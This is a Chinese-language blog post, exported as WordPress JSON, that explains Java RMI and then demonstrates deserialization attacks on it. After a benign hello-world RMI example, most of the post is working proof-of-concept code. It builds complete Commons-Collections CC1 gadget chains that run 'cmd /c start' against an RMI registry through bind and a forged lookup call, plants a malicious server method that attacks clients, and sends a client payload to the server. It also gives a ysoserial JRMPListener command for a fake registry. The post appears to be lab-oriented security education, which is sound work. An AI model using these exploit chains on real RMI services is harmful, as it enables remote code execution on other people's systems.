{"id":297,"date":"2026-04-11T16:02:50","date_gmt":"2026-04-11T08:02:50","guid":{"rendered":"https:\/\/arknight.wiki\/?p=297"},"modified":"2026-04-11T16:02:50","modified_gmt":"2026-04-11T08:02:50","slug":"rmi-2","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/04\/11\/rmi-2\/","title":{"rendered":"RMI"},"content":{"rendered":"

RMI:<\/h1>\n

RMI\u662f\u4ec0\u4e48\uff1aJava\u7684RMI\u8fdc\u7a0b\u8c03\u7528\u662f\u6307\uff0c\u4e00\u4e2aJVM\u4e2d\u7684\u4ee3\u7801\u53ef\u4ee5\u901a\u8fc7\u7f51\u7edc\u5b9e\u73b0\u8fdc\u7a0b\u8c03\u7528\u53e6\u4e00\u4e2aJVM\u7684\u67d0\u4e2a\u65b9\u6cd5\u3002RMI\u662fRemote Method Invocation\u7684\u7f29\u5199\u3002<\/p>\n

\u63d0\u4f9b\u670d\u52a1\u7684\u4e00\u65b9\u6211\u4eec\u79f0\u4e4b\u4e3a\u670d\u52a1\u5668\uff0c\u800c\u5b9e\u73b0\u8fdc\u7a0b\u8c03\u7528\u7684\u4e00\u65b9\u6211\u4eec\u79f0\u4e4b\u4e3a\u5ba2\u6237\u7aef\u3002<\/p>\n

\u6982\u5ff5\u56fe\uff1a<\/p>\n

\"\"<\/div><\/p>\n

\u5ba2\u6237\u7aef:<\/strong><\/p>\n

\u5b58\u6839\/\u6869(Stub):\u8fdc\u7a0b\u5bf9\u8c61\u5728\u5ba2\u6237\u7aef\u4e0a\u7684\u4ee3\u7406;
\n\u8fdc\u7a0b\u5f15\u7528\u5c42(Remote Reference Layer):\u89e3\u6790\u5e76\u6267\u884c\u8fdc\u7a0b\u5f15\u7528\u534f\u8bae;
\n\u4f20\u8f93\u5c42(Transport):\u53d1\u9001\u8c03\u7528\u3001\u4f20\u9012\u8fdc\u7a0b\u65b9\u6cd5\u53c2\u6570\u3001\u63a5\u6536\u8fdc\u7a0b\u65b9\u6cd5\u6267\u884c\u7ed3\u679c\u3002<\/p>\n

\u670d\u52a1\u7aef:<\/strong><\/p>\n

\u9aa8\u67b6(Skeleton):\u8bfb\u53d6\u5ba2\u6237\u7aef\u4f20\u9012\u7684\u65b9\u6cd5\u53c2\u6570\uff0c\u8c03\u7528\u670d\u52a1\u5668\u65b9\u7684\u5b9e\u9645\u5bf9\u8c61\u65b9\u6cd5\uff0c \u5e76\u63a5\u6536\u65b9\u6cd5\u6267\u884c\u540e\u7684\u8fd4\u56de\u503c;
\n\u8fdc\u7a0b\u5f15\u7528\u5c42(Remote Reference Layer):\u5904\u7406\u8fdc\u7a0b\u5f15\u7528\u540e\u5411\u9aa8\u67b6\u53d1\u9001\u8fdc\u7a0b\u65b9\u6cd5\u8c03\u7528;
\n\u4f20\u8f93\u5c42(Transport):\u76d1\u542c\u5ba2\u6237\u7aef\u7684\u5165\u7ad9\u8fde\u63a5\uff0c\u63a5\u6536\u5e76\u8f6c\u53d1\u8c03\u7528\u5230\u8fdc\u7a0b\u5f15\u7528\u5c42\u3002<\/p>\n

\u6ce8\u518c\u8868(Registry):<\/strong><\/p>\n

\u4ee5URL\u5f62\u5f0f\u6ce8\u518c\u8fdc\u7a0b\u5bf9\u8c61\uff0c\u5e76\u5411\u5ba2\u6237\u7aef\u56de\u590d\u5bf9\u8fdc\u7a0b\u5bf9\u8c61\u7684\u5f15\u7528\u3002<\/p>\n

\u8be6\u7ec6\u5b9e\u73b0\uff1a<\/h3>\n

\u53ef\u8fdc\u7a0b\u8c03\u7528\u63a5\u53e3\u7684\u5b9e\u73b0\uff1a<\/strong><\/p>\n

package RMIProject;\n\nimport java.rmi.Remote;\nimport java.rmi.RemoteException;\n\n\/\/ \u5b9a\u4e49\u4e00\u4e2a\u8fdc\u7a0b\u63a5\u53e3\uff0c\u7ee7\u627fjava.rmi.Remote\u63a5\u53e3\n\npublic interface HelloInterface extends Remote {\n    String Hello(String age) throws RemoteException;\n}<\/code><\/pre>\n
\u53ef\u8fdc\u7a0b\u8c03\u7528\u5b9e\u73b0\u7c7b\u7684\u5b9e\u73b0\uff1a<\/strong><\/p>\n
package RMIProject;\n\nimport java.rmi.RemoteException;\nimport java.rmi.server.UnicastRemoteObject;\n\n\/\/ \u8fdc\u7a0b\u63a5\u53e3\u5b9e\u73b0\u7c7b\uff0c\u7ee7\u627fUnicastRemoteObject\u7c7b\u548cHello\u63a5\u53e3\n\npublic class HelloImp extends UnicastRemoteObject implements HelloInterface {\n\n    private static final long serialVersionUID = 1L;\n\n    protected HelloImp() throws RemoteException {\n        super(); \/\/ \u8c03\u7528\u7236\u7c7b\u7684\u6784\u9020\u51fd\u6570\n    }\n\n    @Override\n    public String Hello(String age) throws RemoteException {\n        return \"Hello\" + age; \/\/ \u6539\u5199Hello\u65b9\u6cd5\n    }\n}<\/code><\/pre>\n
\u8fdc\u7a0b\u63a5\u53e3\u5b9e\u73b0\u7c7b\u5fc5\u987b\u7ee7\u627fUnicastRemoteObject\u7c7b\uff0c\u7528\u4e8e\u751f\u6210 Stub\uff08\u5b58\u6839\uff09\u548c Skeleton\uff08\u9aa8\u67b6\uff09\u3002<\/p>\n
Stub\u53ef\u4ee5\u770b\u4f5c\u8fdc\u7a0b\u5bf9\u8c61\u5728\u672c\u5730\u7684\u4e00\u4e2a\u4ee3\u7406\uff0c\u56ca\u62ec\u4e86\u8fdc\u7a0b\u5bf9\u8c61\u7684\u5177\u4f53\u4fe1\u606f\uff0c\u5ba2\u6237\u7aef\u53ef\u4ee5\u901a\u8fc7\u8fd9\u4e2a\u4ee3\u7406\u548c\u670d\u52a1\u7aef\u8fdb\u884c\u4ea4\u4e92\u3002<\/p>\n
Skeleton\u53ef\u4ee5\u770b\u4f5c\u4e3a\u670d\u52a1\u7aef\u7684\u4e00\u4e2a\u4ee3\u7406\uff0c\u7528\u6765\u5904\u7406Stub\u53d1\u9001\u8fc7\u6765\u7684\u8bf7\u6c42\uff0c\u7136\u540e\u53bb\u8c03\u7528\u5ba2\u6237\u7aef\u9700\u8981\u7684\u8bf7\u6c42\u65b9\u6cd5\uff0c\u6700\u7ec8\u5c06\u65b9\u6cd5\u6267\u884c\u7ed3\u679c\u8fd4\u56de\u7ed9Stub\u3002\u4e0d\u8fc7\u8fd9\u90e8\u5206\u4f1a\u5728\u521b\u5efa\u5bf9\u8c61\u7684\u65f6\u5019\u81ea\u52a8\u5b9e\u73b0\uff0c\u5982\u679c\u5bf9\u8c61\u7ee7\u627f\u4e86 UnicastRemoteObject<\/code>\uff0c\u90a3\u5728\u6784\u9020\u6216\u5bfc\u51fa\u8fc7\u7a0b\u4e2d\uff0cRMI \u8fd0\u884c\u65f6\u5df2\u7ecf\u5e2e\u4f60\u628a\u8fdc\u7a0b\u8bbf\u95ee\u8fd9\u5957\u673a\u5236\u51c6\u5907\u597d\u4e86\u3002<\/p>\n
\u53ef\u8fdc\u7a0b\u8c03\u7528\u5bf9\u8c61\u7684\u521b\u5efa\u548c\u7ed1\u5b9a\u5b58\u6839\uff1a<\/strong><\/p>\n
package RMIProject;\n\nimport java.rmi.Naming;\nimport java.rmi.registry.LocateRegistry;\n\n\/\/ \u670d\u52a1\u7aef\n\npublic class RMIServer {\n    public static void main(String[] args) {\n        try {\n            HelloInterface h  = new HelloImp(); \/\/ \u521b\u5efa\u8fdc\u7a0b\u5bf9\u8c61HelloImp\u5bf9\u8c61\u5b9e\u4f8b\n            LocateRegistry.createRegistry(1099); \/\/ \u5728\u670d\u52a1\u5668\u83b7\u53d6RMI\u670d\u52a1\u6ce8\u518c\u5668\uff0c\u5728\u9ed8\u8ba4\u7aef\u53e31099\u52a0\u8f7d\n            Naming.rebind(\"rmi:\/\/localhost:1099\/hello\",h); \/\/ \u7ed1\u5b9a\u8fdc\u7a0b\u5bf9\u8c61HelloImp\u5230RMI\u670d\u52a1\u6ce8\u518c\u5668\uff0c.\/heelo\u8def\u5f84\u662f\u5ba2\u6237\u7aef\u67e5\u627e\u5b83\u7684\u6807\u8bc6\n            System.out.println(\"RMIServer start successful\");\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n\n\u4e5f\u53ef\u4ee5\u7528\u4e0b\u9762\u8fd9\u4e24\u884c\u5b9e\u73b0\u521b\u5efa\u5b58\u6839\u5e76\u7ed1\u5b9a\u7684\u903b\u8f91\nRegistry registry = LocateRegistry.createRegistry(1099); \/\/\u521b\u5efa\u6ce8\u518c\u8868\nregistry.rebind(\"hello\",hello);\/\/\u5c06\u8fdc\u7a0b\u5bf9\u8c61\u6ce8\u518c\u5230\u6ce8\u518c\u8868\u91cc\u9762\uff0c\u5e76\u4e14\u8bbe\u7f6e\u503c\u4e3ahello<\/code><\/pre>\n
\u5ba2\u6237\u7aef\u8c03\u7528\u5bf9\u5e94\u8fdc\u7a0b\u5bf9\u8c61\u7684\u5b9e\u73b0\uff1a<\/strong><\/p>\n
package RMIProject;\n\nimport java.net.MalformedURLException;\nimport java.rmi.Naming;\nimport java.rmi.NotBoundException;\nimport java.rmi.RemoteException;\n\n\/\/ \u5ba2\u6237\u7aef\n\npublic class RMIClient {\n    public static void main(String[] args){\n        try {\n            HelloInterface h = (HelloInterface) Naming.lookup(\"rmi:\/\/localhost:1099\/hello\"); \/\/\u901a\u8fc7\u5bf9\u5e94\u8def\u5f84\u5bfb\u627eRMI\u5b9e\u4f8b\u8fdc\u7a0b\u5bf9\u8c61\uff0c\u56e0\u6b64\u6807\u51fa\u63a5\u53e3\u5373\u53ef\uff0c\u53ea\u8868\u793a\u5b9e\u73b0\u4e86\u54ea\u4e9b\u65b9\u6cd5\uff0c\u800c\u4e0d\u5173\u5fc3\u5177\u4f53\u5b9e\u73b0\n            System.out.println(h.Hello(\"run......\"));\n        }catch (MalformedURLException e) {\n            System.out.println(\"url\u683c\u5f0f\u5f02\u5e38\");\n        } catch (RemoteException e) {\n            System.out.println(\"\u521b\u5efa\u5bf9\u8c61\u5f02\u5e38\");\n        } catch (NotBoundException e) {\n            System.out.println(\"\u5bf9\u8c61\u672a\u7ed1\u5b9a\");\n        }\n    }\n} \n\n\u4e5f\u53ef\u4ee5\u7528\u4e0b\u9762\u8fd9\u4e32\u4ee3\u7801\u5b9e\u73b0\u5b58\u6839\u67e5\u627e\u5bf9\u8c61\u903b\u8f91\nRegistry registry = LocateRegistry.getRegistry(\"127.0.0.1\", 1099);\/\/\u83b7\u53d6\u8fdc\u7a0b\u4e3b\u673a\u5bf9\u8c61\n\/\/ \u5229\u7528\u6ce8\u518c\u8868\u7684\u4ee3\u7406\u53bb\u67e5\u8be2\u8fdc\u7a0b\u6ce8\u518c\u8868\u4e2d\u540d\u4e3ahello\u7684\u5bf9\u8c61\nRemoteClass hello = (RemoteClass) registry.lookup(\"hello\");<\/code><\/pre>\n
\u653b\u51fb\u6ce8\u518c\u4e2d\u5fc3\uff1a<\/h3>\n
\u5728\u4e0e\u6ce8\u518c\u4e2d\u5fc3\u8fdb\u884c\u4ea4\u4e92\u4e2d\uff0cbind<\/code>\uff0crebind<\/code>\uff0cunbind<\/code>\uff0clookup<\/code>\u65b9\u6cd5\u6709readOpject<\/code>\u65b9\u6cd5\uff0c\u53ef\u4ee5\u6253\u53cd\u5e8f\u5217\u5316\u94fe<\/p>\n
POC1 – \u57fa\u4e8ebind\/rebind<\/h5>\n
package rmi_injection_labs1.server;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport java.lang.annotation.Documented;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.rmi.Remote;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class ServerAttackRegistryByBind {\n    public static void main(String[] args) throws Exception {\n        String execArgs = \"cmd \/c start\";\n        final Transformer transformerChain = new ChainedTransformer(\n                new Transformer[]{ new ConstantTransformer(1) });\n        final Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class[] {\n                        String.class, Class[].class }, new Object[] {\n                        \"getRuntime\", new Class[0] }),\n                new InvokerTransformer(\"invoke\", new Class[] {\n                        Object.class, Object[].class }, new Object[] {\n                        null, new Object[0] }),\n                new InvokerTransformer(\"exec\",\n                        new Class[] { String.class }, new Object[]{execArgs}),\n                new ConstantTransformer(1) };\n        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());\n        Field iTransformers = transformer.getDeclaredField(\"iTransformers\");\n        iTransformers.setAccessible(true);\n        iTransformers.set(transformerChain, transformers);\n        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);\n        final Constructor<?> ctor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructors()[0];\n        ctor.setAccessible(true);\n        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);\n        \/\/ \u8fd9\u4e2a\u5730\u65b9\u548c\u539f\u6765\u7684CC1\u5199\u6cd5\u4e0d\u4e00\u6837\uff0c\u8981\u628aLazyMap.class.getInterfaces()\u6539\u6210new Class[]{Map.class}\uff0cLazyMap.class.getInterfaces()\u9ed8\u8ba4\u4f1a\u8fc7\u53bb\u5230\u4e24\u4e2a\u63a5\u53e3\u7684Class\uff0c\u5206\u522b\u662fMap\u548cSerializable\uff0c\u4f46\u662f\u8fd9\u91cc\u53ea\u8981\u4e00\u4e2aMap\u624d\u80fd\u89e6\u53d1\n        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);\n        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);\n\n        Registry registry = LocateRegistry.getRegistry(\"127.0.0.1\", 1099);\n        Remote r = Remote.class.cast(Proxy.newProxyInstance(\n                Remote.class.getClassLoader(),\n                new Class[] { Remote.class }, invocationHandler));\n        registry.bind(\"test\",r);\n    }\n}<\/code><\/pre>\n
POC2 – \u57fa\u4e8eunbind\/looup<\/h5>\n
package rmi_injection_labs1.server;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\nimport sun.rmi.server.UnicastRef;\n\nimport java.io.ObjectOutput;\nimport java.lang.annotation.Documented;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.rmi.Remote;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\nimport java.rmi.server.Operation;\nimport java.rmi.server.RemoteCall;\nimport java.rmi.server.RemoteObject;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class ServerAttackRegistryUnBuild {\n    public static void main(String[] args) throws Exception {\n        \/\/ ======================\u8fd9\u4e00\u6bb5\u5c31\u662fPOC1\u4e2d\u7684bind\/rebuild\u653b\u51fb\u94fe\u4ee3\u7801======================\n        String execArgs = \"cmd \/c start\";\n        final Transformer transformerChain = new ChainedTransformer(\n                new Transformer[]{ new ConstantTransformer(1) });\n        final Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class[] {\n                        String.class, Class[].class }, new Object[] {\n                        \"getRuntime\", new Class[0] }),\n                new InvokerTransformer(\"invoke\", new Class[] {\n                        Object.class, Object[].class }, new Object[] {\n                        null, new Object[0] }),\n                new InvokerTransformer(\"exec\",\n                        new Class[] { String.class }, new Object[]{execArgs}),\n                new ConstantTransformer(1) };\n        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());\n        Field iTransformers = transformer.getDeclaredField(\"iTransformers\");\n        iTransformers.setAccessible(true);\n        iTransformers.set(transformerChain, transformers);\n        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);\n        final Constructor<?> ctor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructors()[0];\n        ctor.setAccessible(true);\n        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);\n        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);\n        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);\n        Registry registry = LocateRegistry.getRegistry(\"127.0.0.1\", 1099);\n        Remote r = Remote.class.cast(Proxy.newProxyInstance(\n                Remote.class.getClassLoader(),\n                new Class[] { Remote.class }, invocationHandler));\n        \/\/ ========================\u4ece\u8fd9\u91cc\u4e0d\u4e00\u6837\u4e86======================\n        \/\/ \u83b7\u53d6ref\n        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();\n        fields_0[0].setAccessible(true);\n        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);\n        \/\/\u83b7\u53d6operations\n        Field[] fields_1 = registry.getClass().getDeclaredFields();\n        fields_1[0].setAccessible(true);\n        Operation[] operations = (Operation[]) fields_1[0].get(registry);\n        \/\/ \u4f2a\u9020lookup\u7684\u4ee3\u7801\uff0c\u53bb\u4f2a\u9020\u4f20\u8f93\u4fe1\u606f\n        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);\n        ObjectOutput var3 = var2.getOutputStream();\n        var3.writeObject(r);\n        ref.invoke(var2);\n    }\n}\n<\/code><\/pre>\n
<\/h3>\n
\u653b\u51fb\u5ba2\u6237\u7aef<\/h3>\n
\u6ce8\u518c\u4e2d\u5fc3\u653b\u51fb\u5ba2\u6237\u7aef\uff1a<\/h4>\n
ysoserial\u653b\u51fb\uff1a<\/h5>\n
\u653b\u51fb\u8005\u542f\u52a8\u4e00\u4e2a\u4f2a\u9020\u7684 RMI Registry\uff08JRMPListener<\/code>\uff09\uff0c\u5f53\u5ba2\u6237\u7aef\u8c03\u7528 list()<\/code>\u3001lookup()<\/code> \u7b49\u6709\u8fd4\u56de\u503c<\/strong>\u7684\u65b9\u6cd5\u65f6\uff0c\u4f2a\u9020\u7684 Registry \u4e0d\u8fd4\u56de\u6b63\u5e38\u6570\u636e\uff0c\u800c\u662f\u76f4\u63a5\u8fd4\u56de ysoserial<\/code> \u751f\u6210\u7684\u6076\u610f\u5e8f\u5217\u5316\u5bf9\u8c61\u3002\u5ba2\u6237\u7aef RMI \u8fd0\u884c\u5e93\u5728\u63a5\u6536\u54cd\u5e94\u65f6\u4f1a\u81ea\u52a8\u8c03\u7528 ObjectInputStream.readObject()<\/code> \u53cd\u5e8f\u5217\u5316\u8be5\u6570\u636e<\/strong>\uff0c\u82e5\u5ba2\u6237\u7aef ClassPath \u4e2d\u5b58\u5728 commons-collections<\/code> \u7b49\u6f0f\u6d1e\u4f9d\u8d56\uff0c\u5c31\u4f1a\u89e6\u53d1\u53cd\u5e8f\u5217\u5316 gadget \u94fe\uff0c\u6700\u7ec8\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002<\/p>\n
\u653b\u51fb\u7aef\u542f\u52a8\u547d\u4ee4\uff08bash\uff09\uff1a<\/strong><\/p>\n
# \u542f\u52a8\u4f2a\u9020\u7684 RMI Registry\uff0c\u76d1\u542c 12345 \u7aef\u53e3\uff0c\u7ed1\u5b9a CC1 \u5f39\u8ba1\u7b97\u5668 payload\njava -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 \"calc\"<\/code><\/pre>\n
\u53d7\u5bb3\u8005\u5ba2\u6237\u7aef\uff1a<\/strong><\/p>\n
package lab.client;\n\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\nimport java.util.Arrays;\n\npublic class VictimClient {\n    public static void main(String[] args) {\n        String host = \"127.0.0.1\";\n        int port = 12345;\n\n        try {\n            System.out.println(\"[*] \u6b63\u5728\u8fde\u63a5\u6076\u610f RMI Registry: \" + host + \":\" + port);\n            \/\/ \u4ec5\u521b\u5efa\u672c\u5730 Stub\uff0c\u4e0d\u5efa\u7acb\u7f51\u7edc\u8fde\u63a5\n            Registry registry = LocateRegistry.getRegistry(host, port);\n\n            System.out.println(\"[*] \u8c03\u7528 registry.list()\uff0c\u7b49\u5f85\u670d\u52a1\u7aef\u54cd\u5e94...\");\n            \/\/ \ud83d\udd25 \u5173\u952e\u89e6\u53d1\u70b9\uff1a\u5e95\u5c42\u4f1a\u5efa\u7acb\u8fde\u63a5 -> \u53d1\u9001\u8bf7\u6c42 -> \u63a5\u6536\u54cd\u5e94 -> \u81ea\u52a8\u53cd\u5e8f\u5217\u5316\n            String[] result = registry.list();\n\n            \/\/ \u26a0\ufe0f \u6ce8\u610f\uff1a\u5373\u4f7f\u8fd4\u56de\u7c7b\u578b\u4e0d\u5339\u914d\u5bfc\u81f4 ClassCastException\uff0c\n            \/\/    \u6076\u610f\u4ee3\u7801\u4e5f\u5df2\u5728 readObject() \u9636\u6bb5\u6267\u884c\u5b8c\u6bd5\n            System.out.println(\"[+] \u8fd4\u56de\u7ed3\u679c: \" + Arrays.toString(result));\n        } catch (Exception e) {\n            System.err.println(\"[-] \u5f02\u5e38\u6355\u83b7: \" + e.getClass().getName() + \" - \" + e.getMessage());\n            e.printStackTrace();\n        }\n    }\n}<\/code><\/pre>\n
\u53ea\u8981\u5ba2\u6237\u7aef\u8c03\u7528list()<\/code>\uff0cbind()<\/code>\u7b49\u6709\u53cd\u5e8f\u5217\u5316\u65b9\u6cd5\u7684\u65b9\u6cd5\uff0c\u5c31\u4f1a\u89e6\u53d1\u6076\u610f\u94fe\u3002<\/p>\n
\u670d\u52a1\u7aef\u653b\u51fb\u5ba2\u6237\u7aef\uff1a<\/h4>\n
\u5ba2\u6237\u7aef\u8c03\u7528\u8fdc\u7a0b\u5bf9\u8c61\u7684\u8fdc\u7a0b\u65b9\u6cd5\u65f6\u670d\u52a1\u7aef\u8fd4\u56de\u6076\u610f\u5e8f\u5217\u5316\u5bf9\u8c61
\n\u670d\u52a1\u7aef\uff1a<\/strong><\/p>\n
package rmi_injection_labs1.service;\n\nimport java.rmi.RemoteException;\npublic interface User extends java.rmi.Remote {\n    public Object getUser() throws RemoteException;\n}<\/code><\/pre>\n
User\u63a5\u53e3\uff0cRMI \u8981\u6c42\u6240\u6709\u8fdc\u7a0b\u65b9\u6cd5\u5fc5\u987b\u58f0\u660e\u5728\u7ee7\u627f java.rmi.Remote<\/code> \u7684\u63a5\u53e3\u4e2d\uff0c\u4e14\u629b\u51fa RemoteException<\/code>\u3002<\/p>\n
package rmi_injection_labs1.server;\n\nimport rmi_injection_labs1.service.LocalUser;\nimport rmi_injection_labs1.service.User;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\nimport java.util.concurrent.CountDownLatch;\n\npublic class LocalUserServer {\n    public static void main(String[] args) throws Exception {\n        User liming = new LocalUser(\"liming\",15);\n        Registry registry = LocateRegistry.createRegistry(1099);\n        registry.bind(\"user\",liming);\n        System.out.println(\"registry is running...\");\n        System.out.println(\"liming is bind in registry\");\n        CountDownLatch latch=new CountDownLatch(1);\n        latch.await();\n    }\n}<\/code><\/pre>\n
\u521b\u5efa\u6ce8\u518c\u4e2d\u5fc3<\/p>\n
package rmi_injection_labs1.service;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\nimport java.lang.annotation.Documented;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.rmi.RemoteException;\nimport java.rmi.server.UnicastRemoteObject;\nimport java.util.HashMap;\nimport java.util.Map;\npublic class LocalUser extends UnicastRemoteObject implements User {\n    public String name;\n    public int age;\n    public LocalUser(String name, int age) throws RemoteException {\n        super();\n        this.name = name;\n        this.age = age;\n    }\n\n    @Override\n    public Object getUser() throws RemoteException {\n        InvocationHandler invocationHandler = null;\n        try{\n            String execArgs = \"cmd \/c start\";\n            final Transformer transformerChain = new ChainedTransformer(\n                    new Transformer[]{ new ConstantTransformer(1) });\n            final Transformer[] transformers = new Transformer[] {\n                    new ConstantTransformer(Runtime.class),\n                    new InvokerTransformer(\"getMethod\", new Class[] {\n                            String.class, Class[].class }, new Object[] {\n                            \"getRuntime\", new Class[0] }),\n                    new InvokerTransformer(\"invoke\", new Class[] {\n                            Object.class, Object[].class }, new Object[] {\n                            null, new Object[0] }),\n                    new InvokerTransformer(\"exec\",\n                            new Class[] { String.class }, new Object[]{execArgs}),\n                    new ConstantTransformer(1) };\n            Class<?> transformer = Class.forName(ChainedTransformer.class.getName());\n            Field iTransformers = transformer.getDeclaredField(\"iTransformers\");\n            iTransformers.setAccessible(true);\n            iTransformers.set(transformerChain, transformers);\n            final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);\n            final Constructor<?> ctor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructors()[0];\n            ctor.setAccessible(true);\n            InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);\n            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);\n            invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);\n        }catch (Exception ignored){\n            throw new RemoteException(\"\u751f\u6210poc\u4ee3\u7801\u5931\u8d25\");\n        }\n        return invocationHandler;\n    }\n}<\/code><\/pre>\n
\u5b9a\u4e49\u6076\u610f\u65b9\u6cd5<\/p>\n
\u5ba2\u6237\u7aef\uff1a<\/strong><\/p>\n
package rmi_injection_labs1.client;\n\nimport rmi_injection_labs1.service.User;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\npublic class LocalUserServerAttack2ClientByCC1 {\n    public static void main(String[] args) throws Exception {\n        Registry registry = LocateRegistry.getRegistry(\"127.0.0.1\",1099);\n        User user = (User) registry.lookup(\"user\");\n        user.getUser();\n    }\n}<\/code><\/pre>\n
\u8c03\u7528\u8fdc\u7a0b\u6076\u610f\u65b9\u6cd5<\/p>\n
\u653b\u51fb\u670d\u52a1\u7aef<\/h2>\n
\u5ba2\u6237\u7aef\u5c06\u6076\u610f\u5e8f\u5217\u5316\u5bf9\u8c61\u7ed9\u670d\u52a1\u7aef\u53cd\u5e8f\u5217\u5316
\n\u670d\u52a1\u7aef\uff1a<\/strong><\/p>\n
package rmi_injection_labs1.service;\nimport java.rmi.RemoteException;\npublic interface User extends java.rmi.Remote {\n    public Object getUser() throws RemoteException;\n    public void addUser(Object user) throws RemoteException;\n}<\/code><\/pre>\n
\u5ba2\u6237\u7aef\uff1a<\/strong><\/p>\n
package rmi_injection_labs1.client;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\nimport rmi_injection_labs1.service.User;\nimport java.lang.annotation.Documented;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\nimport java.util.HashMap;\nimport java.util.Map;\npublic class LocalUserClientAttack2ServerByCC1 {\n    public static void main(String[] args) throws Exception {\n        String execArgs = \"cmd \/c start\";\n        final Transformer transformerChain = new ChainedTransformer(\n                new Transformer[]{ new ConstantTransformer(1) });\n        final Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class[] {\n                        String.class, Class[].class }, new Object[] {\n                        \"getRuntime\", new Class[0] }),\n                new InvokerTransformer(\"invoke\", new Class[] {\n                        Object.class, Object[].class }, new Object[] {\n                        null, new Object[0] }),\n                new InvokerTransformer(\"exec\",\n                        new Class[] { String.class }, new Object[]{execArgs}),\n                new ConstantTransformer(1) };\n        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());\n        Field iTransformers = transformer.getDeclaredField(\"iTransformers\");\n        iTransformers.setAccessible(true);\n        iTransformers.set(transformerChain, transformers);\n        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);\n        final Constructor<?> ctor = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\").getDeclaredConstructors()[0];\n        ctor.setAccessible(true);\n        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);\n        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);\n        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);\n        \/\/ ================addUser(Object obj) Object\u5728\u670d\u52a1\u7aef\u4f1a\u88ab\u53cd\u5e8f\u5217\u5316\u6240\u4ee5\u4f1a\u89e6\u53d1\u5bf9\u5e94\u7684CC1\u653b\u51fb\u94fe\n        Registry registry = LocateRegistry.getRegistry(\"127.0.0.1\",1099);\n        User user = (User) registry.lookup(\"user\");\n        user.addUser(invocationHandler);\n    }\n}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
